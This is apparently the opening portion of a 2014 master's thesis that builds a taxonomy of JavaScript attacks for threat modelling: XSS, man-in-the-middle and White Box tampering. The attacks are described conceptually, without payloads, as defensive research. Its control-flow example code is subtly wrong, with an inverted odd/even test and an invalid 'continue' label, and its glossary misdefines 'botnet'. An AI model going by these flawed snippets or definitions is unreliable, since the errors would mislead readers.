TAXONOMY FOR JAVASCRIPT ATTACKS

by

Mohammad Hassan Nourijelyani

A thesis submitted to the School of Computing
in conformity with the requirements for
the degree of Master of Science

Queen’s University
Kingston, Ontario, Canada
(November, 2014)

Copyright ©Mohammad H. Nourijelyani, 2014
Abstract

In the ubiquity era, each user has multiple devices; hence an attractive model is to have applications that execute in a client’s web browser instead of developing a native application for each device. JavaScript is the language of the browser and the power available in these devices has motivated developers to move functionality to the client side. This raises the question of securing JavaScript applications since code executed on the browser is visible in plain text to potential adversaries.

To identify the context in which JavaScript attacks take place, we discuss different styles of software architecture and conclude that the architecture relevant to our study is client/server with a monolithic, event driven client where a significant amount of the application’s logic sits on the client side. We discuss threat modeling methodologies and explain how this thesis fits into the attack extraction phase of threat modeling and we define a taxonomy for JavaScript attacks.

We have collected a set of man in the middle attacks for JavaScript where the attacker actively eavesdrops on the connection. We have also included man at the end, or White Box, attacks where the attacker has control over both the execution platform and the software implementation. These attacks have been used in conventional programming languages and we have adapted them to JavaScript. White Box attacks have become significant in web applications due to the move of sensitive functionality to the client side and have especially been the concern of digital rights management.
Acknowledgements

I would like to thank my dad, mom and sister that have motivated and unconditionally supported me throughout my life. I would like to thank my friends Shady, Fahim, Prashant, Hesam, Iman, Amin, Amir, Majid and many other that were at my side through the fun and hard times in Kingston. A source of inspiration for this thesis comes from a MITACS internship I did at Irdeto. I appreciate the guidance I received from Yuan Gu, Harold Johnson, Michael Wiener and Yaser Eftekharmanesh during my time there.

I want to especially thank my supervisor. Working with Professor Tom Dean has been an incredible experience I will always cherish.
# Table of Contents

Abstract ................................................................................................................................. ii
Acknowledgements ............................................................................................................. iii
List of Figures ....................................................................................................................... vi
List of Tables ....................................................................................................................... viii
Glossary ................................................................................................................................. ix
Chapter 1 Introduction ......................................................................................................... 1
  1.1 Motivation .................................................................................................................... 1
  1.2 Contributions ............................................................................................................... 2
  1.3 Outline ......................................................................................................................... 3
Chapter 2 Background ......................................................................................................... 4
  2.1 Introduction ................................................................................................................ 4
  2.2 Architectural Context of JavaScript ........................................................................... 4
  2.3 Different Styles of Software Architecture .................................................................... 4
    2.3.1 Blackboard ........................................................................................................... 4
    2.3.2 Client-Server ....................................................................................................... 5
    2.3.3 Peer to Peer ......................................................................................................... 6
    2.3.4 Service Oriented ................................................................................................. 6
    2.3.5 Three Tier .......................................................................................................... 7
    2.3.6 Monolithic .......................................................................................................... 8
    2.3.7 Event Driven ...................................................................................................... 8
  2.4 The Standard Web Model ............................................................................................ 9
  2.5 The Modern Web Browser .......................................................................................... 10
  2.6 Threat Modeling Methodology ................................................................................... 12
    2.6.1 Different Approaches to Threat Modeling ......................................................... 12
    2.6.2 Swiderski’s Methodology .................................................................................. 12
    2.6.3 Expanding Swiderski’s Methodology ................................................................. 13
  2.7 Related Work ............................................................................................................. 15
    2.7.1 OWASP Website .................................................................................................. 15
    2.7.2 Martin Johns ........................................................................................................ 15
  2.8 Conclusion .................................................................................................................. 15
Chapter 3 Taxonomy Overview ......................................................................................... 16
  3.1 Introduction ................................................................................................................ 16
List of Figures

Figure 2.1- Blackboard Architecture .......................................................... 5
Figure 2.2 – Client Server Architecture ......................................................... 6
Figure 2.3 – Service Oriented Architecture ................................................... 7
Figure 2.4 – Three Tier Architecture .............................................................. 8
Figure 2.5 – Architecture Combination .......................................................... 9
Figure 2.6 – Standard Web Model .................................................................. 10
Figure 2.7- Modern Browser Architecture ..................................................... 11
Figure 3.1 – Control Flow Graph example ...................................................... 25
Figure 4.1 – Grey box first party client side Information disclosure attack .......... 30
Figure 4.2 - Grey box first party client side Tampering attack........................ 32
Figure 4.3 - Grey box first party client side Repudiation attack ....................... 34
Figure 4.4 – Injection of eval ......................................................................... 36
Figure 4.5 – Example of XHR request and response ....................................... 41
Figure 4.6 - Grey box first party server side Information Disclosure attack .......... 42
Figure 4.7 – Mitigation of JSON hijacking ...................................................... 44
Figure 4.8 – Malicious version of Benignsite created and controlled by attacker . 46
Figure 4.9 – Black Box browser related Information Disclosure attack .............. 51
Figure 4.10 - Schematic view of Cross-Origin CSS Attack ............................... 52
Figure 4.11 – Attacker’s website for Black box browser related Information Disclosure attack .... 55
Figure 4.12 - Black Box first party client side Repudiation attack ..................... 57
Figure 4.13 - Black Box first party client side Information disclosure attack ......... 59
Figure 4.14 – Heap Spray attack .................................................................. 61
Figure 4.15 - Black Box first party client side Elevation of Privilege attack ......... 62
Figure 4.16 - Black Box first party client side Denial of Service attack .............. 63
Figure 5.1 - White Box Data Related Information Disclosure attack .................. 68
Figure 5.2 – Comparison of pointer analysis between Java and JavaScript .......... 70
Figure 5.3 – CallGraphExample.js ................................................................ 73
Figure 5.4 - White Box Call Graph Related Information Disclosure attack .......... 74
Figure 5.5 – Shimming a function (method) of a user created object ................. 79
Figure 5.6 – Shimming a user created function within the window object ............ 81
Figure 5.7 – Shimming the JSON.parse global function .................................... 82
Figure 5.8 – Shimming Eval ........................................................................................................84
Figure 5.9 – Shimming the jQuery library functions .................................................................86
Figure 5.10 – Shimming a Library .............................................................................................88
Figure 5.11- Example of context insensitive flow analysis ......................................................90
Figure 5.12 – Context sensitive flow analysis .........................................................................91
Figure 5.13 – ControlFlowGraphExample.js .........................................................................93
Figure 5.14 - Control Flow Graph output using JS_WALA ....................................................94
Figure 5.15 - White Box Control Flow Graph Related Information Disclosure attack ................95
Figure 5.16 - Program Logic including conditional statements ..............................................97
Figure 5.17 – Program Logic including a MAX constant constraint ........................................98
Figure 5.18 - Program Logic including a range for a variable ..................................................98
Figure 5.19 - Program Logic including a relationship between two variables ..........................99
Figure 5.20 - White Box Program Logic Related Tampering attack .......................................100
List of Tables

Table 3.1 - What kind of access does the attacker have on the platform and software and where does the attack take place? .......................................................................................................................... 26
Table 3.2 - What type of code is responsible for the attack and who wrote the code? .......................... 26
Table 3.3 - What method does the attack depend on and what type of attack has taken place? ............. 27
Table 3.4 - What JavaScript Construct is the attack related to? ............................................................. 28
Table 3.5 - What White Box asset is the attack targeting? ................................................................. 28
Glossary

Ajax – A group of web development techniques to create asynchronous web applications.

Associative Array – A data type composed of a collection of key/value pairs in which each key is unique.

Attack – The attempt to exploit an application’s vulnerability.

Botnet – A computer whose security has been breached and is controlled by an attacker.

Cookie – A piece of data that is sent back and forth from a website to a user’s browser that helps keep track of the last state the user had on the website.

Cross Site Scripting – In this attack malicious scripts are injected in a web application, ultimately circumventing the same origin policy.

Client – A computer that requests a service over a computer network.

Document Object Model – A convention for representing and interacting with objects in HTML documents.

Digital Rights Management – Technologies used to control the use of digital content and devices after sale.

JSON – A format used to transmit data objects between a client and a server.

Native Software – Software supported by a certain system is called native.

Same Origin Policy – This policy restricts scripts running on pages originating from a web site to access the DOM of another website.

Server – A computer system that provides a service in response to a request across a computer network.

Shim – A shim is a piece of code that intercepts function calls either to steal or modify the data in transit.

Taxonomy – The practice of classification.

Threat – A possible danger that may exploit application vulnerabilities.

Vulnerability – A weakness in the application that may be exploited.

XmlHttpRequest – An API available to JavaScript used to send HTTP requests to a web server and load the server response back to the script.
Chapter 1

Introduction

1.1 Motivation

Today many businesses are moving from desktop to online applications. The internet is the facilitator of this move, allowing people to use online services and connect with each other. Some of these online applications handle millions of devices at a time. Social networks are used and analysis is being done to learn what users want, customizing the way content is shown as well as making recommendations. People want to have access to the right data at the right time using different devices. Many systems are involved to satisfy the needs of users. In this era of ubiquity the older paradigm of one user one device has been replaced by one user and multiple devices.

In the one user many devices paradigm, an issue to address is the associated software that runs on these devices. Each device may have its own language for writing applications (e.g., Java for Android and Objective C for iPhone) and a vendor must create new code for each device to which it wants to deploy applications. Applications which are written for a specific device are called native. Frameworks are also different leading to differences in application architecture. Since language and architecture are different, the exact same functionality is not guaranteed on different devices. Hence, there has been a move from native applications to web applications. In this so called “one application for all devices model” an application is written only once (e.g., HTML5 and JavaScript on the client side and PHP on the server side) and is delivered in the client’s web browser.

JavaScript is currently the most popular language used for client side code in web applications. Traditionally the client in these applications does not embody much of the application logic and is mostly used for an enhanced user interface and tasks such as input validation. Due to powerful and affordable client devices, users can enjoy reduced latency if an application executes more of its functionality in the client’s web browser. Examples are google maps [1] and the applications in google drive [2]. This move
has one main drawback and that is the fact that JavaScript code is executed in the client browser which makes the code, its structure and any secrets put in the code accessible to an adversary. Code obfuscation techniques are implemented but can be reverse engineered by a dedicated attacker, meaning the use of JavaScript is insecure due to its execution environment and potentially vulnerable to threats. In this situation the end goal for a developer is to secure the code in a way that makes an attack economically unreasonable whilst taking advantage of the execution of JavaScript on the client side.

Web Browsers have also become very powerful, providing new facilities that can be accessed through client side code. This increasing level of browser features has increased the surface accessible to attackers of the web application. For example, HTML5 provides new mechanisms for exchanging and storing data, as well as presenting video, audio and complex layouts [3]. HTML5 also provides mechanisms for the client-side storage of information that go far beyond cookies. The new HTML5 features are capable of handling megabytes of data, some of it stored in SQL database tables. This introduces the potential for SQL injection attacks on the client side. Also, HTML5 has support for cross origin communications capabilities between elements from different domains. In HTML5, the same origin policy can be crossed by design. This feature introduces the possibility of cross-site scripting (XSS) attacks. If not carefully configured and implemented, this set of features would allow malicious code to access and manipulate applications and their sensitive data very easily. The introduction of such new capabilities gives way for new research in JavaScript security since they increase the potential attack surface.

### 1.2 Contributions

This thesis makes the following contributions:

- Creation of a taxonomy for JavaScript attacks. Each attack that is described can be placed in one or more categories of the taxonomy. As stated in the previous section, the nature of evolving technology and introduction of new capabilities make for the dynamic nature of this research, in a sense that the categorization may expand as new attacks arise.
A set of detailed JavaScript attacks. Every attack has a detailed description associated with code that specifies the particular attack scenario. During construction of the taxonomy, we faced categories of White Box attacks that were not well represented in JavaScript. The reason being that placement of significant functionality and sensitive data on the client side was not commonplace in the past, rendering White Box attacks irrelevant. To this end, we have adapted a number of conventional White Box attacks for JavaScript to comply with the emerging trend of client side applications. Other attacks come from previous literature and are placed in each taxonomy category accordingly.

1.3 Outline

Chapter 2 is an overview of the architectural context of JavaScript, threat modeling and related work on the topic of JavaScript attacks. Chapter 3 discusses the taxonomy we have created to categorize JavaScript attacks. Man in the Middle attacks are discussed in Chapter 4 and Man at the End or White Box attacks are the topic of Chapter 5. Chapter 6 concludes this thesis along with ideas for future work.
Chapter 2
Background

2.1 Introduction
This chapter describes the context for which JavaScript attacks take place. Section 2.3 discusses different styles of software architecture. Section 2.4 and 2.5 are about the standard web model and modern web browsers. Threat modeling is the topic of section 2.6. Finally, in section 2.7 we discuss related work to this thesis.

2.2 Architectural Context of JavaScript
Software architecture is the set of structures needed to reason about the software system which consist of the software elements and the relations between them [4]. An architecture style has a vocabulary of components and connectors with constraints on how they can be combined, each inducing a desirable set of qualities. We run through the most relevant ones in order to pinpoint the architectural context for which JavaScript resides.

2.3 Different Styles of Software Architecture

2.3.1 Blackboard
In Blackboard architecture a common knowledge base or the Blackboard as shown in figure 2.1 is updated by a diverse group of software modules known as knowledge sources (KS). Each updates the blackboard with a partial solution when its internal constraints match the Blackboard state. This is likened to a group of specialists that are seated in a room with a large blackboard. The specialists all watch the blackboard, looking for an opportunity to apply their expertise to the developing solution [5].
The application structure of the client-server model is distributed. This means that tasks are partitioned between resource providers (servers) and resource requesters (clients). Clients and servers lie on separate hardware and communicate over a network [6] as shown in figure 2.2. This model was created at Xerox PARC and is prevalent in computer networks, the World Wide Web being its most famous example.
2.3.3 Peer to Peer

Another distributed architecture is peer to peer which tasks are partitioned between each computer. Peers play the part of both supplier and consumer, making this architecture different from the client-server model. One of the pros of this model is that in the case of failure of one peer the entire network will not be compromised [7]. A drawback is that peers are in charge of controlling their data and resources posing serious security issues.

2.3.4 Service Oriented

In a Service Oriented Architecture the complete functionality of a large software application is created by combining a collection of software models known as services. Instead of using embedded calls to each other in the source code, the services describe how they should be passed and parsed using
As shown in figure 2.3, the service consumer can search the service broker to find the service he is interested in.

2.3.5 Three Tier

The Three tier architecture is a model in which the application is logically divided into presentation, logic and data tiers. Each tier is developed as different modules and most often separate platforms. This promotes easy understanding and maintenance of the code. Figure 2.4 is the representation of three tier architecture.
2.3.6 Monolithic

In a Monolithic application the modularization used in the Three Tiered Architecture is degraded to a single tiered software application in which the user interface and data access code are combined into a single program from a single platform. This model helps the user carry out a complete task end to end rather than parts of a larger system that work together.

2.3.7 Event Driven

An interactive web application consists of an agent creating an event and the application that consumes and responds to that event. This so called Event Driven Architecture allows for applications to facilitate more responsiveness.

These architectures can be combined to form a complete software application. Figure 2.5 is a representation of modern web applications. At a high level view, we can see that a multitier client/server structure is in place. When we focus on the client side we see that a monolithic application along with
event driven architecture is used for this part of the application. The client side code that is usually written in JavaScript is executed on the users’ browser.

2.4 The Standard Web Model

The standard web model has a client/server architecture and is shown in figure 2.6:
A Resource is any network data or service accessible from the internet. This consists of data responses from the website, HTML, CSS and JavaScript. The User Agent processes the resource which is rendered and displayed to the user. A Web Application Provider is composed of the website which has several single web resources, the web server that hosts at least one website and the database.

Figure 2.6 – Standard Web Model

In all software architectures a user agent exists that regardless of the architecture is always necessary in order to process and render information on the client side. In the modern web model, a browser is in charge of processing and rendering such received information.

2.5 The Modern Web Browser

First generation browsers played the role of the presentation layer in a multitier architecture as they had no processing or storage facilities. Due to the fact that more and more people are using online applications instead of their desktop counterparts, browsers have shifted into the role of a full-fledged operating system in order to support the demand of these web applications. The architecture of a modern
browser is shown in figure 2.7 and has the facilities to support a monolithic architecture on the client side. In fact, under the hood, a modern browser is a system with hundreds of components.

The browser's main components are the User Interface (UI) that consists of the address bar for inserting the URI, back and forward buttons and Bookmarking options. The Browser Engine which marshals the actions between the UI and the rendering engine and the Rendering Engine is responsible for displaying the requested content. Also, Networking is used for network calls, like HTTP requests. The UI backend exposes a generic interface that is not platform specific and is used for drawing basic widgets like combo boxes and windows. The JavaScript interpreter is used to parse and execute the JavaScript code. Data storage in the browser saves all sorts of data on the hard disk, Cookies being a primary example of this sort of data. More recently HTML5 has defined a web database which is a light but complete database in the browser which can be used to store information on the client side.

Figure 2.7- Modern Browser Architecture
2.6 Threat Modeling Methodology

To address JavaScript attacks, we start by introducing software security threat modeling which is the context where identifying these attacks finds meaning. Threat modeling is the process of assessing and documenting a system’s security risks. Identifying threats helps develop realistic and meaningful security requirements [9]. Threat modeling enables us to understand a system’s threat profile by examining it through the eyes of potential adversaries. With techniques such as entry point identification, modeling the system with data flow diagram and threat trees, a developer can identify strategies to mitigate potential threats to a system.

2.6.1 Different Approaches to Threat Modeling

As specified in Ingalsbe et al. [10] and Howard et al. [11] there are essentially three different approaches to threat modeling:

- In a Software Centric approach to threat modeling the system is carefully inspected and its design is represented by Data Flow and Use Case Diagrams. These diagrams give a great deal of insight about possible vulnerabilities.

- Assets of a system are very important to protect. In the Asset Centric threat modeling approach assets are identified and then classified according to their sensitivity. Finally, attack trees are generated illustrating possible attacks to the system [12].

- An attacker-centric approach to threat modeling focuses on motives, goals and characteristics of an attacker. Basically the question comes down to who is trying to exploit vulnerabilities in a system and why.

2.6.2 Swiderski’s Methodology

A popular threat modeling methodology was created by Swiderski [13]. The main steps to threat modeling software systems using this methodology are as follows:
1- Understanding entry points, that is where control or data crosses the boundary of the system being modeled. Begin by identifying what functionality each entry point exposes. This information is used to identify security critical actions or data transforms.

2- Data Flow Diagrams (DFDs) are used to better understand the operation of the system. They represent how the system processes data. The system is modeled by focusing on transformations and processes applied to data and a request an adversary might supply.

3- In this stage we will start thinking from the adversary’s perspective. How could an adversary attack or misuse the system? How could an adversary take advantage of an asset to modify control, extract valuable information, manipulate information, gain rights or cause the system to fail?

4- The final step is to identify mitigation strategies. To do this a diagram called the attack tree is created. Attack trees are a way of thinking and describing security of systems and making decisions about how to improve security. Root node is the goal of the attack and other nodes are conditions that must be satisfied to realize the attack. When a tree is created different values can be assigned to the leaf nodes.

2.6.3 Expanding Swiderski’s Methodology

Dhillon [14] builds on Swiderski’s methodology and extends it in one main area to create their own methodology. Below is the main extension they considered to create a methodology used for application threat modeling in their company:

Identifying and analyzing threats, guided by a threat library: They found that the Stride (spoofing, tampering, repudiation, information disclosure, denial of service, elevation of privilege) approach to identify threats is inefficient for complex systems and not scalable because it is dependent on attack knowledge. This means someone building the threat model must be a security expert that knows all possible attacks. They made threat modeling less security knowledge intensive by
focusing on interactions and leveraging a “threat library” of general attacks to guide security engineers.

One could argue the threat model methodology must be general and independent of a certain language. However, we make a case for the fruitfulness of taking Dhillon’s work to the next level of concreteness.

- We know that different programming languages are used to create software systems; therefore a low level threat modeling methodology based on the use of specific language constructs is not feasible. By leveraging a “threat library” of attacks Dhillon has created a more fine grain methodology without breaking generality. As we stated earlier the move from native to web applications has made JavaScript almost always the language of the client, therefore we can study the language and its different constructs looking for attack vectors giving us an even more fine grained methodology. We may lose some generality since the threat modeling methodology now becomes only for web applications with client side code written in JavaScript but nevertheless these applications are a large percentage of current systems.

- We have created a taxonomy categorizing threats to client side JavaScript. Dhillon talks about making a catalog based on high level interaction in the DFDs. Although better than the highly abstract STRIDE it is still not easy enough for non-security experts to mitigate the attacks. As previously stated, JavaScript is the client’s language so we can go into the depth of language constructs and call our outcome a threat modeling methodology for web applications. An application designer can use the taxonomy as a reference to see how the client side code he is writing can be vulnerable to attacks; also how attackers can take advantage of JavaScript constructs to attack the system.
2.7 Related Work

2.7.1 OWASP Website

The Open Web Security Project (OWASP) [15] is focused on improving the security of software applications. The project lists a number of software attacks some of which are web application related. OWASP classifies attacks into a set of categories, making it a taxonomy. The problem with their taxonomy is twofold. First, the categories do not fully represent the context in which an attack takes place rendering it difficult for a developer to identify vulnerabilities based on the code. The second limitation is that the categories are not orthogonal. The final difference of our work is that it is specific for JavaScript while the OWASP project is broad, only generally touching upon the work in this thesis.

2.7.2 Martin Johns

Johns et al. [16] can be described as being in the similar direction as our work. Nevertheless, the paper was published in 2007 meaning it does not cover the more recent attacks (4 attacks in this work overlap with ours) and revisiting this topic is one of the contributions of the thesis. Another difference is that we have created a taxonomy to categorize attacks.

2.7.3 Threat modeling

Threat modeling methodologies identify a systems security risk. As we described in section 6.2.1 there are a variety of approaches to threat modeling. In the software centric approach, vulnerabilities are identified based on data flow diagrams, which represent the context of the vulnerability. Similarly, by constructing a taxonomy our goal is to pinpoint the context for which an attack can take place.

2.8 Conclusion

This chapter helped us understand fundamental background prerequisites in order to place the study of JavaScript attacks in a meaningful context. It also discussed related work implicitly pointing out the need for such research. The next chapter will be an in depth description of the taxonomy we have created for categorizing JavaScript attacks.
Chapter 3

Taxonomy Overview

3.1 Introduction

There are many different ways to categorize an attack. Each of these categories allow for a new perspective which could help the security team prioritize attacks, associate risk to them and ultimately lead to a better understanding of the threats concerning a system.

3.2 Taxonomy

There are multiple questions that come to mind when catering to security issues, each of which may result in new categories. The first question that may be asked is “Where does the attack take place?”

- In a Man in the Middle attack the victims on both ends of a connection think that they are relaying messages to each other on a private network. Nevertheless, the attacker is actively eavesdropping on the connection [17]. The attacker makes connections with each victim and therefore can control the entire conversation while sitting in the middle unnoticed. The attacker must be able to intercept all messages going between the two victims and inject new ones. For example, in a DOM based XSS attack the attacker creates a specific URL targeting a vulnerability existent in the client side code (one side of the attack) and by social engineering leads the user (the other side of the attack) to click on this link. The user assumes that trustworthy code is executed on his browser and no other party is involved. When the vulnerable code is executed using the parameters provided by the attacker, the attacker will have access to the interaction by for example stealing the user’s cookies and sending them to his own server, hence the man in the middle attack.

- If the attacker has the capability to directly access the physical device and compromises it by tampering with or inspecting the hardware or software it contains a Man at the End attack has
occurred [18]. Examples of this attack include tampering with computers in an office to gain unauthorized access to files and cheating in online games by modification of the client side software. In the DOM based XSS example mentioned above, the attacker does not have direct access to the victim’s computer thereby does not qualify as a Man at the End attack.

“What type of access does the attacker have on the platform and the software?” is the next question that leads us to complete the above categorization shown in table 3.1.

- In the White Box attack context the attacker has control over both the execution platform and the software implementation [19]. This occurs when the application is executed on the user’s PC, smartphone or browser. The attacker can access the binary code and memory during execution of the application. System calls can be intercepted and attack tools such as a debugger can be set up to reveal secrets within the code.

- On the other end of the spectrum Black Box refers to an attack methodology where an attacker has no knowledge of the target system. The process involves an active analysis of the system for any potential vulnerabilities that could result from poor or improper system configuration, both known and unknown hardware or software flaws, and operational weaknesses in process or technical countermeasures. Fuzzing is a common technique to discover vulnerabilities which aims to get an unhandled error through random input.

- A Grey Box attacker partially knows the internal structure of an application, which includes access to the documentation of internal data structures as well as the algorithms used [20]. Grey Box attackers require both high level and detailed documents describing the application, which they collect in order to define attack cases.
In the context of this thesis which is focused on JavaScript attacks that are executed on the client browser a subtle confusion may arise. The client side JavaScript code which is executed on the browser platform is completely visible. This means the program along with the algorithms and data structures used is accessible to a potential attacker. One may be led to believe that this is synonymous to a White Box situation. Nevertheless, this is not always the case. Referring back to the DOM based XSS attack, although the vulnerable JavaScript code is visible to the attacker, guiding him to create the malicious link, this does not result in a White Box attack. The reason is that the attacker does not have access to the victim device let alone his browser or the JavaScript code that is executed on it. On the other hand the attack cannot be deemed Black Box either since the attacker does have knowledge of the system being attacked. This knowledge comes from the visibility of the JavaScript code that is executed in the browser along with an understanding of the browser platform due to its open source nature. Consequently we would have to categorize DOM based XSS a Grey Box attack.

The next question that comes to mind is “Who wrote the code?”

- Three interesting features of web applications namely mashups, extensions and external libraries will help answer part of the question. A mashup is a website or application that combines content from more than one source into an integrated experience [21]. Usually, the mashup components interact with each other. An extension is a zipped bundle of files (HTML, CSS, JavaScript, images) that adds functionality to the browser [22]. A library is a collection of implementations of behavior that has a well-defined interface by which the behavior is invoked and allows for easier application development. Attacks that are carried out by malicious third party mashup components, extensions or external libraries are known as third party attacks.

- Application code that was built by the application developers can be divided into client side and server side code. Server side code is code that is executed on the application web server while
client side code is part of the application code that executes on the user’s browser. The rationale for using client side code is the increase of application speed due to the absence of latency caused by sending a request and receiving its response from the server. A second reason is the reduction in load on the servers by taking advantage of the increase in computational power of the clients. Attacks carried out on application code that was created in house are known as first party attacks.

- Vulnerability in the browser code can lead to what is called platform related attacks.

As we have examined the category of who wrote the code (i.e. first and third party or platform) the question of “What type of code is responsible for the attack?” naturally emerged. Is the attack targeting the browser, the client or server side application code? Is the attack a component in a mashup, an extension or a library? This leads to the creation of the subcategories shown in table 3.2.

The next question that forms the categorization is “What method does the attack depend on?” which is answered as follows:

- Abuse of functionality takes place when a feature of an application is abused in a way that causes the application to perform in an undesirable manner. A widely recognized example consists of leaking information in which otherwise benign requests for a function can result in the attacker gaining private information about the target.
- Exploitation of Authentication is when an attacker exploits the weaknesses in the mechanisms that the target application uses to manage identity and authentication.
- For Injection the attacker needs to find an entry point to insert a malicious piece of code. This malicious code can end up reading or modifying the application data.
- Resource depletion causes the target to allocate excessive resources to servicing the attacker’s request, thereby reducing the resources available for legitimate services and degrading
or denying services. This method either uses a small number of requests that are carefully
formatted to force the target to allocate excessive resources to service them or floods the target in
which the number of requests is very large, causing the depletion.

- With Vulnerable code the attacker exploits bad programming practices. In the context of this
taxonomy vulnerabilities either exist in the browser code or the client side JavaScript.

The following attacks are the result of one or more of the previous attack methods. The complete
categorization is shown in table 3.3:

- Spoofing is when an attacker masquerades as a legitimate user or falsifies data in a way that
  would give him an advantage. The two scenarios of spoofing are shown in the following
  examples. The first would be when the attacker somehow steals the user’s identification data for a
  banking website and performs actions pretending to be the user. The other would be falsifying
  data in the address bar in order to hide the true malicious identity of a website. Spoofing can be a
  result of abuse of a feature, vulnerable browser code or exploitation of authentication.

- Tampering is when data is changed by the attacker. This modification can result in defacement of
  a website but can be much more dangerous in data critical applications such as applications
  related to the financial sector. Tampering can be a result of malicious code injection especially
  injection that changes data in a database. Also vulnerable client code can be a pathway to
tampering threats.

- Repudiation is a result of two scenarios. In the first case the user has done an attack but is
  refusing to take account for it. In this situation the victim needs a mechanism to prove the user’s
  actions. In the second case the user has not performed the attack and has been taken advantage of
  by an attacker. An example of this case would be when the attacker turns the victim’s computer
into a botnet to perform his malicious intent. In the context of this taxonomy we are interested in the case where repudiation is a result of exploitation of authentication.

- In Information Disclosure threats, confidential data that either belongs to an individual or the application is exposed to the attacker whom is not entitled to this data. This disclosure could be a result of injection of malicious code that would send data to the attacker or abuse of a feature to leak information. Vulnerable client side code can also be a cause of information disclosure.

- Denial of service (DoS) attack causes an application to be unusable to users by denying them of service. DoS can be a result of resource depletion or abuse of functionality.

- Elevation of Privilege is a type of threat in which an attacker which has normal access gains a higher level of access which will allow him to compromise the application. Elevation of privilege can come to light through exploitation of authentication which means the attacker has access to the authentication information of a privileged user.

Next we can categorize the attacks based on the related JavaScript construct that is involved to carry out the attack. This categorization is shown in table 3.4.

- Location Related attacks: The location object contains information about the current URL. It is part of the window object and is accessed through the window.location property. It can be used to get the current page address (URL) and to redirect the browser to a new page. Also when an HTML document is loaded into a web browser, we can access the location object through document.location. Improper use of these objects can make the application vulnerable to attacks; hence a developer should be precautious when applying them in the code.

- Execution Related attacks: Execution Related constructs in JavaScript are functions that execute the parameters that are passed to them. Eval, setTimeout, setInterval and the Function constructor which is essentially a globally scoped version of eval, are of this type.
• **Storage Related:** Client side storage is an important feature in browsers which is used to store data on the client computer. This allows applications to remember their last state, save data or even cache the full application on the client. Browsers have implemented different APIs for the representation and manipulation of these storage mechanisms. Each form of storage has its own usage, and factors such as allocation space, structure and lifetime come into play when deciding upon the type of storage we need.

Web storage has an Application Programming Interface (API) consisting of localStorage and sessionStorage objects. These objects are associative arrays that map string keys to string values. They are suitable for large amounts of data. localStorage is permanent while sessionStorage is deleted after the window is closed. A cookie is an older type of storage. It holds a small piece of data associated with a particular website. With every Hypertext transfer protocol (HTTP) request the cookies associated with the website are also sent along to the server. This mechanism allows the server to load the last state of the application by checking the value of the cookie on the server side. Of the more recent storages are caching systems that facilitate offline web applications which allow the web application to install itself and subsequently execute even without internet connection. Web databases are also supported by an Indexed Database API which is a simple object database. Finally there is a Filesystem API for reading and writing files on the client side.

• **Network Related:** HTTP specifies the communication between the browser and server. Until recent years and the emergence of Asynchronous JavaScript and XML (AJAX) this communication was not usually scripted. Users would click on links or type in a URL to request a page from the server or submit a form to make a post to the server. Although these actions can be scripted by setting the window location property or calling the submit method of the form object a more interesting communication is with the web server in a way that browser does not reload the content. AJAX uses scripted HTTP to achieve this feat which results in more responsive and
desktop like applications. The easiest and most modern way of implementing AJAX is the use of XMLHttpRequest object and its API.

- CSS Related: Cascading Style Sheets (CSS) is a standard for specifying the visual presentation in HTML. CSS can be scripted therefore is of interest to us. With CSS the developer can specify fonts, colors, position, etc. for any HTML element. The developer can do this inline via the <style> tag or creating a style sheet and associating the HTML page with it. The first way to script CSS would be to take advantage of the style attribute of an element (e.g., o.style.fontSize = “18pt”). The style for the element is obtained with the getComputedStyle method of the window object. Finally you can script entire style sheets using the document.stylesheets array.

- Data Structure Attacks: Just like conventional languages, JavaScript uses data structures such as Arrays and Objects to organize data. These data structures are the core of many algorithms and are a way to store data efficiently. Attacking the implementation of these data structures can entail dangerous vulnerabilities for the application.

In the White Box context, assets that need protection consist of source code and sensitive data. The source code may hold business logic that needs to be concealed. This is especially challenging for JavaScript where the source code is distributed as opposed to applications distributed as binary. Table 3.5 shows the assets that are of interest to a malicious user.

- Data: At runtime, data can be accessed in different places based on how the program is executed. For example in program that is in binary format, data can be extracted from the memory or CPU registers. As for JavaScript the source code is available to a malicious user that executes it in the browser. Therefore the data is accessible via variables within the source code.
• Call graphs: A program understanding structure that consists of nodes to represent methods of the program and edges that show possible invocations from a call site to call targets. To carry out an attack that calls a function in a rogue manner, the first step for an attacker is to learn how the application works from a call graph structure. This structure identifies the call sites within the application and the functions that they invoke.

• Functions: Function call conventions are well understood by an attacker. At a call instruction the attacker knows where to find the parameters and can easily set up the context to call a function in a rogue manner. The first part in calling a function in a rogue manner is to understand the parameters. In compiled languages like C the attacker needs to snoop into the stack and CPU registers at load time to understand the function parameters. JavaScript is a loosely typed language. If it was compiled like C the attacker would not be able to set up the rogue function call in the same fashion since he would not know what type of arguments should be passed into the function by looking at the stack. Nevertheless, the source code is visible in JavaScript and there is not a need to look into a stack to identify parameters.

• Control Flow Graph: A representation of all paths that might be traversed through a program during execution is called a control flow graph [23]. In the graph each node represents a block of code without any jumps. Edges represent jumps in the code. The two most important blocks are the entry block which control enters into the flow graph and the exit block which all control flow leaves. Figure 3.1 is an example of a program along with its control flow graph.
L0: (A) num = getElementById (‘aNumberInput’);
L1: (A) if (num % 1 == 0)
L2: (B) alert (num + “ is an odd number!”);
L3: (B) continue L5;
L4: (C) alert (num + “ is an even number!”);
L5: (D) alert ("end!");

Figure 3.1 – Control Flow Graph example

- Program logic: In the context of White Box security, the program logic is a very important asset which should be protected from malicious users. This logic includes the company’s sensitive business model including access control and digital Rights management (DRM) in
the form of program decisions as well as properties such as constants, particular values of variables and relationship between different values within the code.

Table 3.1 - What kind of access does the attacker have on the platform and software and where does the attack take place?

<table>
<thead>
<tr>
<th>Man in the Middle</th>
<th>Grey Box</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Black Box</td>
</tr>
<tr>
<td>Man at the End</td>
<td>White Box</td>
</tr>
</tbody>
</table>

Table 3.2 - What type of code is responsible for the attack and who wrote the code?

<table>
<thead>
<tr>
<th>Platform Developers</th>
<th>Browser Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>First party</td>
<td>Client Side</td>
</tr>
<tr>
<td></td>
<td>Server Side</td>
</tr>
<tr>
<td>Third Party</td>
<td>Mashup</td>
</tr>
<tr>
<td></td>
<td>Extension</td>
</tr>
<tr>
<td></td>
<td>Library</td>
</tr>
</tbody>
</table>
Table 3.3 - What method does the attack depend on and what type of attack has taken place?

<table>
<thead>
<tr>
<th>Method</th>
<th>Attack Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spoofing</td>
<td>Abuse of Functionality</td>
<td></td>
</tr>
<tr>
<td></td>
